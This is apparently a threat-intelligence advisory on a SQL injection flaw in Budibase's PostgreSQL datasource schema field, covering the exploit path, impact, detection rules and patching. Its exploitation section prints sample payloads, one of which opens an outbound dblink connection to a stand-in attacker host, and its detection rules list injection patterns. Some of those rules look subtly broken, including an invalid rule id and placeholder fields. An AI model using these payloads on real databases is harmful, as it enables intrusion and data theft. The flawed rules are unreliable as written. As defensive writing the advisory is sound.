CVE-2026-64657

Executive Summary

CVE-2026-64657 describes a critical SQL injection vulnerability in Budibase, an open-source low-code platform, affecting versions prior to 3.39.19. This flaw allows an authenticated administrator to execute arbitrary SQL commands by manipulating the schema configuration field within the PostgreSQL datasource connector, leading to potential compromise of data confidentiality, integrity, and availability. Due to the high privileges required for exploitation, the vulnerability is rated 8.4 on the CVSS 3.1 scale, but its impact is severe for affected organizations.

Technical Analysis

The vulnerability, identified as CWE-89 (Improper Neutralization of Special Elements in an SQL Command ('SQL Injection')), resides within the PostgreSQL datasource connector of the Budibase server component. Specifically, the affected code is located in packages/server/src/integrations/postgres.ts.

The core mechanism of the vulnerability stems from insufficient input sanitization when handling the user-controlled schema configuration field. When an authenticated administrator configures or tests a PostgreSQL datasource, the value provided in the schema field is interpolated directly into a SET search_path SQL statement. Crucially, the system fails to properly escape embedded double quotes within this user input.

This lack of escaping allows an attacker, who already possesses administrative credentials, to inject arbitrary SQL statements into the SET search_path query. By embedding specially crafted SQL code, including malicious double quotes to break out of the intended string literal, the attacker can then execute these arbitrary commands against the connected PostgreSQL database. The NVD description explicitly states that this allows "arbitrary SQL through the simple query protocol," indicating that the injected commands are processed and executed by the underlying database.

The attack surface for this vulnerability is specific: it requires administrative access to the Budibase platform and interaction with the PostgreSQL datasource configuration interface. The vulnerability is triggered when the administrator saves or tests the datasource connection after inputting the malicious schema value. This ensures that the malformed SET search_path statement containing the injected SQL is sent to the database. The result is a high-impact server-side SQL injection that can lead to full compromise of the database connected to the Budibase instance.

Exploitation Scenarios

Exploitation of CVE-2026-64657 requires an attacker to possess high-level privileges within the Budibase platform and involves specific interaction with the application's administrative interface.

1. Reconnaissance/Target Identification: An attacker first identifies a Budibase instance accessible over the network. This might involve active scanning for default Budibase ports or services, or passively identifying "Budibase" in HTTP headers, page titles, or content. The attacker must also acquire or compromise legitimate administrative credentials for the target Budibase instance.

2. Triggering the Flaw: With administrative access, the attacker navigates to the Budibase administrative panel, specifically the section for configuring or managing datasources. The attacker then initiates the creation or modification of a PostgreSQL datasource. Within the datasource configuration, the attacker locates the schema configuration field. Instead of providing a legitimate schema name, the attacker crafts a malicious string that includes SQL injection payloads designed to execute arbitrary commands. This payload leverages the unescaped double-quote vulnerability to break out of the intended SET search_path statement and introduce new SQL commands.

3. Payload and Execution Method: The attacker inserts their crafted malicious SQL into the schema field. For example, a payload could look like ", (SELECT pg_sleep(10)) -- or "; CREATE EXTENSION dblink; SELECT dblink_connect('host=malicious.example.com user=attacker password=pw dbname=db'); --. When the authenticated administrator either "saves" or "tests" this manipulated datasource configuration, the Budibase server-side component (specifically packages/server/src/integrations/postgres.ts) interpolates this malicious string directly into a SET search_path statement. Because the double quotes are not escaped, the database interprets the attacker's input as valid SQL commands appended to or replacing parts of the legitimate SET search_path statement. These commands are then executed by the PostgreSQL server via the simple query protocol.

4. Post-Exploitation Impact: Successful exploitation grants the attacker the ability to execute arbitrary SQL commands with the privileges of the Budibase application's database user. This can lead to severe consequences:

   • High Confidentiality (C:H): The attacker can read, exfiltrate, or enumerate sensitive data stored in the database, including user credentials, application data, or system configuration.
   • High Integrity (I:H): The attacker can modify, delete, or inject data into the database, corrupting application data, altering system behavior, or escalating privileges within the database itself. This could include creating new database users or modifying existing permissions.
   • High Availability (A:H): The attacker can delete critical data, drop tables or entire databases, or introduce resource-exhausting queries (e.g., denial-of-service via infinite loops or resource-heavy operations) leading to service disruption or complete data loss.
   • Changed Scope (S:C): The vulnerability allows direct interaction with the underlying database, potentially expanding the attacker's control beyond the Budibase application itself to the entire database system and potentially other applications relying on the same database.

No public PoC or exploit code is currently available; the attack chain is inferred directly from the vulnerability class and the specific details provided in the NVD description.

Impact Assessment

The impact of CVE-2026-64657 is severe, as reflected by its CVSS 3.1 score of 8.4, categorizing it as "High" severity. The core issue is arbitrary SQL execution within the context of an application-connected database, which typically represents a critical asset.

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H indicates the following specific impacts:

• Attack Vector (AV:N - Network): The vulnerability can be exploited remotely over a network connection, meaning an attacker does not need local access to the server.
• Attack Complexity (AC:L - Low): Exploitation does not require specialized conditions or extensive prior knowledge of the target system beyond administrative access.
• Privileges Required (PR:H - High): An attacker must possess administrative credentials for the Budibase platform to trigger this vulnerability. This is a critical mitigating factor, as it limits the attacker pool to highly privileged insiders or external actors who have already successfully compromised an admin account.
• User Interaction (UI:R - Required): The administrator must perform an action (saving or testing the datasource) after the malicious input is provided. This is a minor mitigating factor but does not significantly reduce the overall risk, as an attacker with admin access can simply perform this action.
• Scope (S:C - Changed): Successful exploitation leads to arbitrary SQL execution, which means the impact extends beyond the immediate Budibase application's security context. The attacker gains control over the underlying PostgreSQL database, potentially affecting other applications or services that rely on the same database instance or shared credentials.
• Confidentiality Impact (C:H - High): An attacker can access all data stored in the database accessible by the Budibase user. This typically includes sensitive application data, user information, configurations, and potentially other critical business data, leading to severe data breaches.
• Integrity Impact (I:H - High): The attacker can modify, delete, or inject arbitrary data into the database. This could result in data corruption, unauthorized changes to application logic or user privileges, or the introduction of backdoors, compromising the reliability and trustworthiness of the data.
• Availability Impact (A:H - High): The attacker can disrupt the availability of the database service by deleting critical tables, dropping the entire database, or causing resource exhaustion through malicious queries. This could lead to a complete denial of service for Budibase and any other applications relying on that database.

From a business perspective, the compromise of an administrative account, combined with this SQL injection, allows an attacker to achieve full control over the application's data layer. This could result in significant financial losses due to data breaches, regulatory fines, reputational damage, and operational disruptions. Systems running affected Budibase versions and configured with PostgreSQL datasources are directly at risk. The blast radius extends to all data within the connected PostgreSQL database instance and potentially to other systems if database credentials provide wider access.

Detection Guidance

Detecting exploitation attempts for this vulnerability primarily involves monitoring application logs, database logs, and network traffic for suspicious SQL patterns. Given that an authenticated administrator is required, abnormal actions from administrative accounts should also be scrutinized.

Sigma Rule

title: Budibase PostgreSQL Datasource SQL Injection Attempt (CVE-2026-64657)
id: 5a4b3c2d-e1f2-3g4h-5i6j-7k8l9m0n1o2p
status: experimental
description: Detects potential SQL injection attempts in Budibase PostgreSQL datasource configuration.
    Looks for specific SQL keywords or unusual characters within 'SET search_path' statements in database query logs
    or Budibase application logs, particularly associated with configuration updates.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-64657
author: ValterSit SOC
date: 2026/01/01
logsource:
  product: budibase
  service: application_logs # Or database_logs for PostgreSQL
detection:
  selection_postgres_logs:
    EventID: # Specific Budibase or PostgreSQL log event ID for query execution if available
    message|contains:
      - 'SET search_path'
      - '", (' # Likely injection pattern
      - '";'    # Likely injection pattern
      - '--'    # SQL comment for payload termination
      - 'CREATE EXTENSION' # Common post-SQLi action
      - 'dblink_connect'   # Common post-SQLi action for out-of-band communication
      - 'SELECT pg_sleep'  # Time-based injection indicator
      - 'DROP TABLE'
      - 'DELETE FROM'
      - 'UPDATE'
    user.name|contains: # If user names are logged with queries
      - 'budibase_admin' # Example admin user
  condition: selection_postgres_logs
level: high
tags:
  - attack.injection
  - attack.t1059.006
  - cve.2026.64657
  - budibase

YARA Rule

rule CVE_2026_64657_Budibase_SQLi : Budibase SQLi
{
  meta:
    author = "ValterSit Threat Intelligence"
    date = "2026-01-01"
    description = "Detects patterns associated with CVE-2026-64657 SQL injection in Budibase source code or network traffic."
    cve = "CVE-2026-64657"
    severity = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-64657"
  strings:
    // Pattern in source code (packages/server/src/integrations/postgres.ts)
    $code_snippet1 = "packages/server/src/integrations/postgres.ts" ascii nocase
    $code_snippet2 = "SET search_path = %s" ascii nocase
    $code_snippet3 = "schema" ascii nocase // Likely variable name for the field
    $code_snippet4 = "interpolate" ascii nocase // Or similar function indicating string formatting

    // Potential network traffic patterns for malicious schema field
    // (assuming HTTP POST request to save/test datasource configuration)
    $network_payload1 = "schema=\"%s" ascii nocase wide // Look for the 'schema=' parameter
    $network_payload2 = /schema\s*=\s*['"]([^'"]*?)(['"]\s*,?\s*\(|\s*['"]\s*;\s*)/ ascii nocase wide // Broader regex for injection patterns
    $network_payload3 = "pg_sleep(" ascii nocase wide
    $network_payload4 = "CREATE EXTENSION dblink" ascii nocase wide
    $network_payload5 = "dblink_connect(" ascii nocase wide
    $network_payload6 = "DROP TABLE" ascii nocase wide
    $network_payload7 = "DELETE FROM" ascii nocase wide
    $network_payload8 = "UPDATE" ascii nocase wide
    $network_payload9 = "INTO OUTFILE" ascii nocase wide // While PostgreSQL, often seen in generic SQLi attempts

  condition:
    ($code_snippet1 and $code_snippet2 and $code_snippet3) or
    (any of ($network_payload1, $network_payload2) and any of ($network_payload3, $network_payload4, $network_payload5, $network_payload6, $network_payload7, $network_payload8, $network_payload9))
}

Suricata IDS Rule

alert http any any -> any any (msg:"ValterSit - Budibase CVE-2026-64657 PostgreSQL SQL Injection Attempt (High PR)"; flow:established,to_server; http.method; content:"POST"; http.uri; pcre:"/schemas?/i"; http.body; content:"schema="; pcre:"/schema\s*=\s*['"][^'"]*?(['"]\s*,\s*\S|\s*['"]\s*;\s*.*?(?:pg_sleep|CREATE\s+EXTENSION|dblink_connect|DROP\s+TABLE|DELETE\s+FROM|UPDATE))/i"; classtype:attempted-admin; reference:cve,2026-64657; sid:20266465701; rev:1;)

Elastic Detection

{
  "query": {
    "bool": {
      "must": [
        {
          "match_phrase": {
            "message": "SET search_path"
          }
        },
        {
          "bool": {
            "should": [
              { "match_phrase": { "message": "\", (" } },
              { "match_phrase": { "message": "\";" } },
              { "match_phrase": { "message": "--" } },
              { "match_phrase": { "message": "CREATE EXTENSION" } },
              { "match_phrase": { "message": "dblink_connect" } },
              { "match_phrase": { "message": "pg_sleep" } },
              { "match_phrase": { "message": "DROP TABLE" } },
              { "match_phrase": { "message": "DELETE FROM" } },
              { "match_phrase": { "message": "UPDATE " } }
            ]
          }
        }
      ],
      "filter": [
        {
          "wildcard": {
            "log.source.file.path": "*budibase*application*log*"
          }
        }
      ]
    }
  },
  "_description": "Detects Budibase CVE-2026-64657 SQL Injection attempts in application logs based on 'SET search_path' and common SQLi payloads."
}

Splunk SPL Query

(index="budibase_logs" OR sourcetype="budibase_app_logs" OR (index="postgresql_logs" OR sourcetype="postgresql_audit"))
"SET search_path"
(
  "\", (" OR
  "\";" OR
  "--" OR
  "CREATE EXTENSION" OR
  "dblink_connect" OR
  "pg_sleep" OR
  "DROP TABLE" OR
  "DELETE FROM" OR
  "UPDATE "
)
| stats count by _time, host, source, sourcetype, message
| `security_content_ctime(first_time)`
| `security_content_ctime(last_time)`
| `drop_dm_object_attrs(first_time_epoch, last_time_epoch)`
| rename first_time AS "First Occurrence", last_time AS "Last Occurrence"
| sort -_time
| fields "First Occurrence", "Last Occurrence", host, source, sourcetype, message, count

Wazuh OSSEC Rule

<group name="syslog,budibase,postgresql,">
  <rule id="100001" level="12">
    <if_sid>2500</if_sid> <!-- Generic log analysis -->
    <match>budibase</match>
    <description>Budibase application or PostgreSQL log event detected.</description>
    <group>budibase_logs,</group>
  </rule>

  <rule id="100002" parent="100001" level="14">
    <if_sid>100001</if_sid>
    <field name="message">SET search_path</field>
    <field name="message">
      \", \( |
      \"; |
      -- |
      CREATE EXTENSION |
      dblink_connect |
      pg_sleep |
      DROP TABLE |
      DELETE FROM |
      UPDATE
    </field>
    <description>CVE-2026-64657 Budibase PostgreSQL SQL Injection Attempt Detected.</description>
    <group>attack,sql_injection,cve_2026_64657,</group>
    <mitre>
      <id>T1059.006</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

The patch confidence for CVE-2026-64657 is rated as 0/4, indicating that the vulnerability is currently considered UNPATCHED from external tracking sources. However, the NVD description explicitly states that the issue is fixed in Budibase version 3.39.19. Therefore, the primary and most effective mitigation is to upgrade the software.

1. Immediate Mitigations (Prior to Patching):

   • Restrict Administrative Access: Implement strict access controls for Budibase administrative interfaces. Ensure only trusted and authorized personnel have administrator privileges. Enforce strong, unique passwords and multi-factor authentication (MFA) for all administrative accounts.
   • Monitor Database Logs: Actively monitor PostgreSQL database logs for unusual SET search_path statements or any unexpected SQL commands being executed by the Budibase application's database user. Look for common SQL injection payload indicators such as double quotes within string literals where they shouldn't be, comment characters (--, /*), or suspicious functions like pg_sleep, CREATE EXTENSION, or dblink_connect.
   • Disable Unused Datasources: If the PostgreSQL datasource connector is not actively used, disable or remove its configuration to reduce the attack surface.
   • Network Segmentation: Isolate the Budibase server and its PostgreSQL database within a segmented network zone to limit an attacker's lateral movement potential if the Budibase instance is compromised.
   • Principle of Least Privilege for Database User: Ensure the database user account used by Budibase has only the absolute minimum necessary privileges to perform its functions. Avoid using a superuser account for the Budibase application connection. This limits the potential impact of arbitrary SQL execution.

2. Patch/Upgrade Steps:

   • Upgrade Budibase: The most critical step is to upgrade your Budibase installation to version 3.39.19 or a later patched version. Consult the official Budibase release notes and upgrade documentation for the specific steps relevant to your deployment method (e.g., Docker, Kubernetes, standalone installation).
   • Verify Patch Application: After upgrading, confirm that the new version is correctly installed and running. Check the version number through the Budibase UI or CLI.

3. Long-Term Hardening:

   • Input Validation and Sanitization: For developers working with Budibase or similar platforms, always implement robust input validation and output encoding for all user-supplied data, especially when constructing SQL queries. Parameterized queries or prepared statements should be used exclusively to prevent SQL injection vulnerabilities.
   • Regular Security Audits: Conduct regular security audits, penetration tests, and code reviews of Budibase deployments and custom applications built on the platform to identify and remediate potential vulnerabilities.
   • Database Activity Monitoring (DAM): Implement a DAM solution to continuously monitor and audit all database activities, providing an additional layer of detection for suspicious queries or administrative actions.
   • Administrator Training: Educate administrators on common attack vectors, secure configuration practices, and the importance of scrutinizing unusual application behavior or alerts.

References

• National Vulnerability Database (NVD) - CVE-2026-64657: https://nvd.nist.gov/vuln/detail/CVE-2026-64657
• CWE-89: Improper Neutralization of Special Elements in an SQL Command ('SQL Injection'): https://cwe.mitre.org/data/definitions/89.html
• Budibase GitHub Releases (Refer to v3.39.19 for fix details, if available): https://github.com/Budibase/budibase/releases
• PostgreSQL documentation on SET search_path: https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-SEARCH-PATH

No known threat actor campaigns or exploits-in-the-wild have been publicly reported for CVE-2026-64657 as of the current intelligence.